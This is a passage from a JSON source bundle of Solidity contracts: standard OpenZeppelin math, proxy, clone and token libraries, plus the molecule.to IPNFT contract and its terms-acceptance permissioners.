denominator * inverse; // inverse mod 2^32\n inverse *= 2 - denominator * inverse; // inverse mod 2^64\n inverse *= 2 - denominator * inverse; // inverse mod 2^128\n inverse *= 2 - denominator * inverse; // inverse mod 2^256\n\n // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.\n // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is\n // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1\n // is no longer required.\n result = prod0 * inverse;\n return result;\n }\n }\n\n /**\n * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.\n */\n function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n return result;\n }\n\n /**\n * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down.\n *\n * Inspired by Henry S. Warren, Jr.'s \"Hacker's Delight\" (Chapter 11).\n */\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.\n //\n // We know that the \"msb\" (most significant bit) of our target number `a` is a power of 2 such that we have\n // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.\n //\n // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`\n // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`\n // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`\n //\n // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.\n uint256 result = 1 << (log2(a) >> 1);\n\n // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,\n // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at\n // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision\n // into the expected uint128 result.\n unchecked {\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n result = (result + a / result) >> 1;\n return min(result, a / result);\n }\n }\n\n /**\n * @notice Calculates sqrt(a), following the selected rounding direction.\n */\n function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n return result + (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 2, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 128;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 64;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 32;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 16;\n }\n if (value >> 8 > 0) {\n value >>= 8;\n result += 8;\n }\n if (value >> 4 > 0) {\n value >>= 4;\n result += 4;\n }\n if (value >> 2 > 0) {\n value >>= 2;\n result += 2;\n }\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 2, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 10, rounded down, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n result += 64;\n }\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n result += 32;\n }\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n result += 16;\n }\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n result += 8;\n }\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n result += 4;\n }\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n result += 2;\n }\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 10, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n /**\n * @dev Return the log in base 256, rounded down, of a positive value.\n * Returns 0 if given 0.\n *\n * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.\n */\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n result += 16;\n }\n if (value >> 64 > 0) {\n value >>= 64;\n result += 8;\n }\n if (value >> 32 > 0) {\n value >>= 32;\n result += 4;\n }\n if (value >> 16 > 0) {\n value >>= 16;\n result += 2;\n }\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n return result;\n }\n\n /**\n * @dev Return the log in base 256, following the selected rounding direction, of a positive value.\n * Returns 0 if given 0.\n */\n function log256(uint256 value, Rounding rounding) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n"
},
"lib/openzeppelin-contracts/contracts/utils/math/SignedMath.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Standard signed math utilities missing in the Solidity language.\n */\nlibrary SignedMath {\n /**\n * @dev Returns the largest of two signed numbers.\n */\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n /**\n * @dev Returns the smallest of two signed numbers.\n */\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n /**\n * @dev Returns the average of two signed numbers without overflow.\n * The result is rounded towards zero.\n */\n function average(int256 a, int256 b) internal pure returns (int256) {\n // Formula from the book \"Hacker's Delight\"\n int256 x = (a & b) + ((a ^ b) >> 1);\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n /**\n * @dev Returns the absolute unsigned value of a signed value.\n */\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n // must be unchecked in order to support `n = type(int256).min`\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/UUPSUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/UUPSUpgradeable.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../../interfaces/draft-IERC1822Upgradeable.sol\";\nimport \"../ERC1967/ERC1967UpgradeUpgradeable.sol\";\nimport \"./Initializable.sol\";\n\n/**\n * @dev An upgradeability mechanism designed for UUPS proxies. The functions included here can perform an upgrade of an\n * {ERC1967Proxy}, when this contract is set as the implementation behind such a proxy.\n *\n * A security mechanism ensures that an upgrade does not turn off upgradeability accidentally, although this risk is\n * reinstated if the upgrade retains upgradeability but removes the security mechanism, e.g. by replacing\n * `UUPSUpgradeable` with a custom implementation of upgrades.\n *\n * The {_authorizeUpgrade} function must be overridden to include access restriction to the upgrade mechanism.\n *\n * _Available since v4.1._\n */\nabstract contract UUPSUpgradeable is Initializable, IERC1822ProxiableUpgradeable, ERC1967UpgradeUpgradeable {\n function __UUPSUpgradeable_init() internal onlyInitializing {\n }\n\n function __UUPSUpgradeable_init_unchained() internal onlyInitializing {\n }\n /// @custom:oz-upgrades-unsafe-allow state-variable-immutable state-variable-assignment\n address private immutable __self = address(this);\n\n /**\n * @dev Check that the execution is being performed through a delegatecall call and that the execution context is\n * a proxy contract with an implementation (as defined in ERC1967) pointing to self. This should only be the case\n * for UUPS and transparent proxies that are using the current contract as their implementation. Execution of a\n * function through ERC1167 minimal proxies (clones) would not normally pass this test, but is not guaranteed to\n * fail.\n */\n modifier onlyProxy() {\n require(address(this) != __self, \"Function must be called through delegatecall\");\n require(_getImplementation() == __self, \"Function must be called through active proxy\");\n _;\n }\n\n /**\n * @dev Check that the execution is not being performed through a delegate call. This allows a function to be\n * callable on the implementing contract but not through proxies.\n */\n modifier notDelegated() {\n require(address(this) == __self, \"UUPSUpgradeable: must not be called through delegatecall\");\n _;\n }\n\n /**\n * @dev Implementation of the ERC1822 {proxiableUUID} function. This returns the storage slot used by the\n * implementation. It is used to validate the implementation's compatibility when performing an upgrade.\n *\n * IMPORTANT: A proxy pointing at a proxiable contract should not be considered proxiable itself, because this risks\n * bricking a proxy that upgrades to it, by delegating to itself until out of gas. Thus it is critical that this\n * function revert if invoked through a proxy. This is guaranteed by the `notDelegated` modifier.\n */\n function proxiableUUID() external view virtual override notDelegated returns (bytes32) {\n return _IMPLEMENTATION_SLOT;\n }\n\n /**\n * @dev Upgrade the implementation of the proxy to `newImplementation`.\n *\n * Calls {_authorizeUpgrade}.\n *\n * Emits an {Upgraded} event.\n *\n * @custom:oz-upgrades-unsafe-allow-reachable delegatecall\n */\n function upgradeTo(address newImplementation) public virtual onlyProxy {\n _authorizeUpgrade(newImplementation);\n _upgradeToAndCallUUPS(newImplementation, new bytes(0), false);\n }\n\n /**\n * @dev Upgrade the implementation of the proxy to `newImplementation`, and subsequently execute the function call\n * encoded in `data`.\n *\n * Calls {_authorizeUpgrade}.\n *\n * Emits an {Upgraded} event.\n *\n * @custom:oz-upgrades-unsafe-allow-reachable delegatecall\n */\n function upgradeToAndCall(address newImplementation, bytes memory data) public payable virtual onlyProxy {\n _authorizeUpgrade(newImplementation);\n _upgradeToAndCallUUPS(newImplementation, data, true);\n }\n\n /**\n * @dev Function that should revert when `msg.sender` is not authorized to upgrade the contract. Called by\n * {upgradeTo} and {upgradeToAndCall}.\n *\n * Normally, this function will use an xref:access.adoc[access control] modifier such as {Ownable-onlyOwner}.\n *\n * ```solidity\n * function _authorizeUpgrade(address) internal override onlyOwner {}\n * ```\n */\n function _authorizeUpgrade(address newImplementation) internal virtual;\n\n /**\n * @dev This empty reserved space is put in place to allow future versions to add new\n * variables without shifting down storage in the inheritance chain.\n * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps\n */\n uint256[50] private __gap;\n}\n"
},
"lib/openzeppelin-contracts/contracts/proxy/Clones.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (proxy/Clones.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for\n * deploying minimal proxy contracts, also known as \"clones\".\n *\n * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies\n * > a minimal bytecode implementation that delegates all calls to a known, fixed address.\n *\n * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`\n * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the\n * deterministic method.\n *\n * _Available since v3.4._\n */\nlibrary Clones {\n /**\n * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.\n *\n * This function uses the create opcode, which should never revert.\n */\n function clone(address implementation) internal returns (address instance) {\n /// @solidity memory-safe-assembly\n assembly {\n // Cleans the upper 96 bits of the `implementation` word, then packs the first 3 bytes\n // of the `implementation` address with the bytecode before the address.\n mstore(0x00, or(shr(0xe8, shl(0x60, implementation)), 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000))\n // Packs the remaining 17 bytes of `implementation` with the bytecode after the address.\n mstore(0x20, or(shl(0x78, implementation), 0x5af43d82803e903d91602b57fd5bf3))\n instance := create(0, 0x09, 0x37)\n }\n require(instance != address(0), \"ERC1167: create failed\");\n }\n\n /**\n * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.\n *\n * This function uses the create2 opcode and a `salt` to deterministically deploy\n * the clone. Using the same `implementation` and `salt` multiple time will revert, since\n * the clones cannot be deployed twice at the same address.\n */\n function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {\n /// @solidity memory-safe-assembly\n assembly {\n // Cleans the upper 96 bits of the `implementation` word, then packs the first 3 bytes\n // of the `implementation` address with the bytecode before the address.\n mstore(0x00, or(shr(0xe8, shl(0x60, implementation)), 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000))\n // Packs the remaining 17 bytes of `implementation` with the bytecode after the address.\n mstore(0x20, or(shl(0x78, implementation), 0x5af43d82803e903d91602b57fd5bf3))\n instance := create2(0, 0x09, 0x37, salt)\n }\n require(instance != address(0), \"ERC1167: create2 failed\");\n }\n\n /**\n * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.\n */\n function predictDeterministicAddress(\n address implementation,\n bytes32 salt,\n address deployer\n ) internal pure returns (address predicted) {\n /// @solidity memory-safe-assembly\n assembly {\n let ptr := mload(0x40)\n mstore(add(ptr, 0x38), deployer)\n mstore(add(ptr, 0x24), 0x5af43d82803e903d91602b57fd5bf3ff)\n mstore(add(ptr, 0x14), implementation)\n mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73)\n mstore(add(ptr, 0x58), salt)\n mstore(add(ptr, 0x78), keccak256(add(ptr, 0x0c), 0x37))\n predicted := keccak256(add(ptr, 0x43), 0x55)\n }\n }\n\n /**\n * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.\n */\n function predictDeterministicAddress(\n address implementation,\n bytes32 salt\n ) internal view returns (address predicted) {\n return predictDeterministicAddress(implementation, salt, address(this));\n }\n}\n"
},
"src/Permissioner.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\n\nimport { Strings } from \"@openzeppelin/contracts/utils/Strings.sol\";\nimport { ECDSA } from \"@openzeppelin/contracts/utils/cryptography/ECDSA.sol\";\nimport { SignatureChecker } from \"@openzeppelin/contracts/utils/cryptography/SignatureChecker.sol\";\nimport { IPToken, Metadata } from \"./IPToken.sol\";\n\nerror InvalidSignature();\nerror Denied();\n\ninterface IPermissioner {\n /**\n * @notice reverts when `_for` may not interact with `tokenContract`\n * @param tokenContract IPToken\n * @param _for address\n * @param data bytes\n */\n function accept(IPToken tokenContract, address _for, bytes calldata data) external;\n}\n\ncontract BlindPermissioner is IPermissioner {\n function accept(IPToken tokenContract, address _for, bytes calldata data) external {\n //empty\n }\n}\n\ncontract ForbidAllPermissioner is IPermissioner {\n function accept(IPToken, address, bytes calldata) external pure {\n revert Denied();\n }\n}\n\ncontract TermsAcceptedPermissioner is IPermissioner {\n event TermsAccepted(address indexed tokenContract, address indexed signer, bytes signature);\n\n /**\n * @notice checks validity signer`'s `signature` of `specificTermsV1` on `tokenId` and emits an event\n * reverts when `signature` can't be verified\n * @dev the signature itself or whether it has already been presented is not stored on chain\n * uses OZ:`SignatureChecker` under the hood and also supports EIP1271 signatures\n *\n * @param tokenContract IPToken\n * @param _for address the account that has created `signature`\n * @param signature bytes encoded signature, for eip155: `abi.encodePacked(r, s, v)`\n */\n function accept(IPToken tokenContract, address _for, bytes calldata signature) external {\n if (!isValidSignature(tokenContract, _for, signature)) {\n revert InvalidSignature();\n }\n emit TermsAccepted(address(tokenContract), _for, signature);\n }\n\n /**\n * @notice checks whether `signer`'s `signature` of `specificTermsV1` on `tokenContract.metadata.ipnftId` is valid\n * @param tokenContract IPToken\n */\n function isValidSignature(IPToken tokenContract, address signer, bytes calldata signature) public view returns (bool) {\n bytes32 termsHash = ECDSA.toEthSignedMessageHash(bytes(specificTermsV1(tokenContract)));\n return SignatureChecker.isValidSignatureNow(signer, termsHash, signature);\n }\n\n function specificTermsV1(Metadata memory metadata) public view returns (string memory) {\n return string.concat(\n \"As an IP token holder of IPNFT #\",\n Strings.toString(metadata.ipnftId),\n \", I accept all terms that I've read here: ipfs://\",\n metadata.agreementCid,\n \"\\n\\n\",\n \"Chain Id: \",\n Strings.toString(block.chainid),\n \"\\n\",\n \"Version: 1\"\n );\n }\n\n /**\n * @notice this yields the message text that claimers must present to proof they have accepted all terms\n * @param tokenContract IPToken\n */\n function specificTermsV1(IPToken tokenContract) public view returns (string memory) {\n return (specificTermsV1(tokenContract.metadata()));\n }\n}\n"
},
"src/IPNFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\n\nimport { ERC721Upgradeable } from \"@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol\";\nimport { ERC721BurnableUpgradeable } from \"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol\";\nimport { ERC721URIStorageUpgradeable } from \"@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721URIStorageUpgradeable.sol\";\nimport { OwnableUpgradeable } from \"@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol\";\nimport { PausableUpgradeable } from \"@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol\";\nimport { CountersUpgradeable } from \"@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol\";\nimport { UUPSUpgradeable } from \"@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol\";\nimport { IAuthorizeMints, SignedMintAuthorization } from \"./IAuthorizeMints.sol\";\nimport { IReservable } from \"./IReservable.sol\";\n\n/*\n ______ _______ __ __ ________ ________\n| \\ \\ | \\ | \\ \\ \\\n \\▓▓▓▓▓▓ ▓▓▓▓▓▓▓\\ | ▓▓\\ | ▓▓ ▓▓▓▓▓▓▓▓\\▓▓▓▓▓▓▓▓\n | ▓▓ | ▓▓__/ ▓▓______| ▓▓▓\\| ▓▓ ▓▓__ | ▓▓\n | ▓▓ | ▓▓ ▓▓ \\ ▓▓▓▓\\ ▓▓ ▓▓ \\ | ▓▓\n | ▓▓ | ▓▓▓▓▓▓▓ \\▓▓▓▓▓▓ ▓▓\\▓▓ ▓▓ ▓▓▓▓▓ | ▓▓\n _| ▓▓_| ▓▓ | ▓▓ \\▓▓▓▓ ▓▓ | ▓▓\n| ▓▓ \\ ▓▓ | ▓▓ \\▓▓▓ ▓▓ | ▓▓\n \\▓▓▓▓▓▓\\▓▓ \\▓▓ \\▓▓\\▓▓ \\▓▓\n */\n\n/// @title IPNFT V2.4\n/// @author molecule.to\n/// @notice IP-NFTs capture intellectual property to be traded and synthesized\ncontract IPNFT is ERC721URIStorageUpgradeable, ERC721BurnableUpgradeable, IReservable, UUPSUpgradeable, OwnableUpgradeable, PausableUpgradeable {\n using CountersUpgradeable for CountersUpgradeable.Counter;\n\n CountersUpgradeable.Counter private _reservationCounter;\n\n /// @notice by reserving a mint an user captures a new token id\n mapping(uint256 => address) public reservations;\n\n /// @notice an authorizer that checks whether a mint operation is allowed\n IAuthorizeMints mintAuthorizer;\n\n mapping(uint256 => mapping(address => uint256)) internal readAllowances;\n\n uint256 constant SYMBOLIC_MINT_FEE = 0.001 ether;\n\n /// @notice an IPNFT's base symbol, to be determined by the minter / owner, e.g. BIO-00001\n mapping(uint256 => string) public symbol;\n\n event Reserved(address indexed reserver, uint256 indexed reservationId);\n event IPNFTMinted(address indexed owner, uint256 indexed tokenId, string tokenURI, string symbol);\n event ReadAccessGranted(uint256 indexed tokenId, address indexed reader, uint256 until);\n event AuthorizerUpdated(address authorizer);\n\n error NotOwningReservation(uint256 id);\n error ToZeroAddress();\n error Unauthorized();\n error InsufficientBalance();\n error BadDuration();\n error MintingFeeTooLow();\n\n /// @custom:oz-upgrades-unsafe-allow constructor\n constructor() {\n _disableInitializers();\n }\n\n /// @notice Contract initialization logic\n function initialize() external initializer {\n __UUPSUpgradeable_init();\n __Ownable_init();\n __Pausable_init();\n __ERC721_init(\"IPNFT\", \"IPNFT\");\n _reservationCounter.increment(); //start at 1.\n }\n\n function pause() external onlyOwner {\n _pause();\n }\n\n function unpause() external onlyOwner {\n _unpause();\n }\n\n function setAuthorizer(IAuthorizeMints authorizer_) external onlyOwner {\n mintAuthorizer = authorizer_;\n emit AuthorizerUpdated(address(authorizer_));\n }\n\n /// @notice https://docs.opensea.io/docs/contract-level-metadata\n function contractURI() public pure returns (string memory) {\n return \"https://mint.molecule.to/contract-metadata/ipnft.json\";\n }\n\n /**\n * @notice reserves a new token id. Checks that the caller is authorized, according to the current implementation of IAuthorizeMints.\n * @return reservationId a new reservation id\n */\n function reserve() external whenNotPaused returns (uint256 reservationId) {\n if (!mintAuthorizer.authorizeReservation(_msgSender())) {\n revert Unauthorized();\n }\n reservationId = _reservationCounter.current();\n _reservationCounter.increment();\n reservations[reservationId] = _msgSender();\n emit Reserved(_msgSender(), reservationId);\n }\n\n /**\n * @notice mints an IPNFT with `tokenURI` as source of metadata. Invalidates the reservation. Redeems `mintpassId` on the authorizer contract\n * @notice We are charging a nominal fee to symbolically represent the transfer of ownership rights, for a price of .001 ETH (<$2USD at current prices). This helps the ensure the protocol is affordable to almost all projects, but discourages frivolous IP-NFT minting.\n *\n * @param to the recipient of the NFT\n * @param reservationId the reserved token id that has been reserved with `reserve()`\n * @param _tokenURI a location that resolves to a valid IP-NFT metadata structure\n * @param _symbol a symbol that represents the IPNFT's derivatives. Can be changed by the owner\n * @param authorization a bytes encoded parameter that's handed to the current authorizer\n * @return the `reservationId`\n */\n function mintReservation(address to, uint256 reservationId, string calldata _tokenURI, string calldata _symbol, bytes calldata authorization)\n external\n payable\n override\n whenNotPaused\n returns (uint256)\n {\n if (reservations[reservationId] != _msgSender()) {\n revert NotOwningReservation(reservationId);\n }\n\n if (msg.value < SYMBOLIC_MINT_FEE) {\n revert MintingFeeTooLow();\n }\n\n if (!mintAuthorizer.authorizeMint(_msgSender(), to, abi.encode(SignedMintAuthorization(reservationId, _tokenURI, authorization)))) {\n revert Unauthorized();\n }\n\n delete reservations[reservationId];\n symbol[reservationId] = _symbol;\n mintAuthorizer.redeem(authorization);\n\n _mint(to, reservationId);\n _setTokenURI(reservationId, _tokenURI);\n emit IPNFTMinted(to, reservationId, _tokenURI, _symbol);\n return reservationId;\n }\n\n /**\n * @notice grants time limited \"read\" access to gated resources\n * @param reader the address that should be able to access gated content\n * @param tokenId token id\n * @param until the timestamp when read access expires (unsafe but good enough for this use case)\n */\n function grantReadAccess(address reader, uint256 tokenId, uint256 until) external {\n if (ownerOf(tokenId) != _msgSender()) {\n revert InsufficientBalance();\n }\n\n if (block.timestamp >= until) {\n revert BadDuration();\n }\n\n readAllowances[tokenId][reader] = until;\n emit ReadAccessGranted(tokenId, reader, until);\n }\n\n /**\n * @notice check whether `reader` currently is able to access gated content behind `tokenId`\n * @param reader the address in question\n * @param tokenId the ipnft id\n * @return bool current read allowance\n */\n function canRead(address reader, uint256 tokenId) external view returns (bool) {\n return (ownerOf(tokenId) == reader || readAllowances[tokenId][reader] > block.timestamp);\n }\n\n /// @notice in case someone sends Eth to this contract, this function gets it out again\n function withdrawAll() public whenNotPaused onlyOwner {\n (bool success,) = _msgSender().call{ value: address(this).balance }(\"\");\n require(success, \"transfer failed\");\n }\n\n /// @inheritdoc UUPSUpgradeable\n function _authorizeUpgrade(address /*newImplementation*/ )\n internal\n override\n onlyOwner // solhint-disable-next-line no-empty-blocks\n { }\n\n /// @inheritdoc ERC721Upgradeable\n function _burn(uint256 tokenId) internal virtual override(ERC721URIStorageUpgradeable, ERC721Upgradeable) {\n super._burn(tokenId);\n }\n\n /// @inheritdoc ERC721Upgradeable\n function tokenURI(uint256 tokenId) public view virtual override(ERC721URIStorageUpgradeable, ERC721Upgradeable) returns (string memory) {\n return super.tokenURI(tokenId);\n }\n\n function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Upgradeable, ERC721URIStorageUpgradeable) returns (bool) {\n return super.supportsInterface(interfaceId);\n }\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/IERC20Upgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev Interface of the ERC20 standard as defined in the EIP.\n */\ninterface IERC20Upgradeable {\n /**\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\n * another (`to`).\n *\n * Note that `value` may be zero.\n */\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n /**\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\n * a call to {approve}. `value` is the new allowance.\n */\n event Approval(address indexed owner, address indexed spender, uint256 value);\n\n /**\n * @dev Returns the amount of tokens in existence.\n */\n function totalSupply() external view returns (uint256);\n\n /**\n * @dev Returns the amount of tokens owned by `account`.\n */\n function balanceOf(address account) external view returns (uint256);\n\n /**\n * @dev Moves `amount` tokens from the caller's account to `to`.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(address from, address to, uint256 amount) external returns (bool);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/token/ERC20/extensions/IERC20MetadataUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20Upgradeable.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20MetadataUpgradeable is IERC20Upgradeable {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n"
},
"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)\n\npragma solidity ^0.8.1;\n\n/**\n * @dev Collection of functions related to the address type\n */\nlibrary AddressUpgradeable {\n /**\n * @dev Returns true if `account` is a contract.\n *\n * [IMPORTANT]\n * ====\n * It is unsafe to assume that an address for which this function returns\n * false is an externally-owned account (EOA) and not a contract.\n *\n * Among others, `isContract` will return false for the following\n * types of addresses:\n *\n * - an externally-owned account\n * - a contract in construction\n * - an address where a contract will be created\n * - an address where a contract lived, but was destroyed\n *\n * Furthermore, `isContract` will also return true if the target contract within\n * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,\n * which only has an effect at the end of a transaction.\n * ====\n *\n * [IMPORTANT]\n * ====\n * You shouldn't rely on `isContract` to protect against flash loan attacks!\n *\n * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets\n * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract\n * constructor.\n * ====\n */\n function isContract(address account) internal view returns (bool) {\n // This method relies on extcodesize/address.code.length, which returns 0\n // for contracts in construction, since the code is only stored at the end\n // of the constructor execution.\n\n return account.code.length > 0;\n }\n\n /**\n * @dev Replacement for Solidity's `transfer`: sends `amount` wei to\n * `recipient`, forwarding all available gas and reverting on errors.\n *\n * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\n * of certain opcodes, possibly making contracts go over the 2300 gas limit\n * imposed by `transfer`, making them unable to receive funds via\n * `transfer`. {sendValue} removes this limitation.\n *\n * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].\n *\n * IMPORTANT: because control is transferred to `recipient`, care must be\n * taken to not create reentrancy vulnerabilities. Consider using\n * {ReentrancyGuard} or the\n * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\n */\n function sendValue(address payable recipient, uint256 amount) internal {\n require(address(this).balance >= amount, \"Address: insufficient balance\");\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n require(success, \"Address: unable to send value, recipient may have reverted\");\n }\n\n /**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n *\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n *\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n *\n * Requirements:\n *\n * - `target` must be a contract.\n * - calling `target` with `data` must not revert.\n *\n * _Available since v3.1._\n */\n function functionCall(address target, bytes memory data) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, \"Address: low-level call failed\");\n }\n\n /**\n * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\n * `errorMessage` as a fallback revert reason when `target` reverts.\n *\n * _Available since v3.1._\n */\n function 